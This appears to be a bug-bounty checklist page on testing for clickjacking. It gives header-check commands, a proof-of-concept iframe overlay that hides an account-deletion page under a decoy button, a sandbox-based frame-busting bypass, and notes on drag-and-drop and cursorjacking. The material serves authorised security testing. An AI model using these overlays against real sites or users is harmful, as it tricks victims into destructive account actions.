Clickjacking & UI Redressing

Exploitation LOW v1.0.0 updated 2026-07-05

Test whether sensitive, state-changing actions can be framed and hijacked through UI redressing due to missing X-Frame-Options or CSP frame-ancestors protections.

Tools

Machine-readable JSON available at:

https://reconatlas.pages.dev/api/checklists/clickjacking-testing

// checklist steps

clickjacking-01

Check for missing framing protections

Inspect response headers for X-Frame-Options and Content-Security-Policy frame-ancestors on sensitive pages.

curl -sI https://target.com/account/settings | grep -iE '(x-frame-options|content-security-policy)'
# Absence of both, or a permissive frame-ancestors, means the page is framable
curl -sI https://target.com/ | grep -i 'content-security-policy'

X-Frame-Options ALLOW-FROM is deprecated and ignored by modern browsers. Only frame-ancestors in CSP is reliably enforced, so a page relying solely on ALLOW-FROM is effectively unprotected.

clickjacking-02

Build a proof-of-concept iframe overlay

Create an attacker-controlled HTML page that frames the target and overlays a decoy UI to lure the victim into clicking hidden controls.

# Save as poc.html and serve locally, then load in a browser
python3 -m http.server 8000
# poc.html: <style>iframe{opacity:0.1;position:absolute;top:0;left:0;width:1000px;height:800px;z-index:2}#decoy{position:absolute;z-index:1}</style><div id=decoy>Click me to win</div><iframe src="https://target.com/account/delete"></iframe>

Set iframe opacity to a low value while positioning your decoy button precisely under the target control. Drop opacity to 0 only for the final report screenshot so triage can see the alignment.

clickjacking-03

Test frame-busting bypasses

If the target uses JavaScript frame-busting instead of headers, attempt to neutralise it with sandbox attributes or other bypasses.

# sandbox without allow-top-navigation blocks frame-busting scripts
# <iframe src="https://target.com/" sandbox="allow-forms allow-scripts allow-same-origin"></iframe>
# Also test onbeforeunload prompt suppression and 204 no-content navigation

JavaScript frame-busting is not a real defence. The sandbox attribute can strip top-navigation while still allowing forms and scripts, so treat any header-less page as framable regardless of client-side busting.

clickjacking-04

Target sensitive state-changing actions

Prove impact by framing an action that changes account state or moves value, not a static informational page.

# Identify one-click destructive endpoints to frame
curl -sI https://target.com/account/delete | grep -iE '(x-frame-options|content-security-policy)'
curl -sI https://target.com/account/email/change | grep -iE '(x-frame-options|content-security-policy)'

Impact requires a sensitive action such as account deletion, email change, or fund transfer to be framed. A framed static page with no state change is almost never a valid finding, so always tie the PoC to a concrete security consequence.

clickjacking-05

Explore advanced UI-redressing techniques

Chain multiple frames or use drag-and-drop and cursorjacking to defeat single-click confirmations and extract data.

# Multi-step: sequence framed clicks across a confirmation flow
# Drag-and-drop: trick the victim into dragging a token into an attacker input
# Cursorjacking: use CSS to display a fake cursor offset from the real one

Multi-step clickjacking can defeat confirm dialogs by framing each successive click. Drag-and-drop attacks can exfiltrate CSRF tokens or secrets rendered on the page, which raises severity well above a simple single-click action.

Overview

Clickjacking, or UI redressing, tricks a victim into interacting with a framed target application while believing they are clicking on the attacker’s decoy page. In a bug bounty context the vulnerability is only valuable when a sensitive, state-changing action can be framed and triggered with the clicks you can coax out of a victim.

What to look for

Sensitive endpoints served without X-Frame-Options: DENY or a CSP frame-ancestors 'self' (or stricter) directive
One-click destructive actions: account deletion, email or password change, fund transfer, permission grants, or OAuth consent screens
Reliance on JavaScript frame-busting alone, which the sandbox attribute defeats

Common pitfalls

Reporting a framable static page — a marketing page or read-only content with no state change is not a valid finding. Always demonstrate a security consequence.
Trusting ALLOW-FROM — modern browsers ignore it; only CSP frame-ancestors counts.
Ignoring SameSite cookies — if the target’s session cookie is SameSite=Lax or Strict, the framed action may not carry the victim’s session, killing the attack.

// references

← All checklists JSON ↗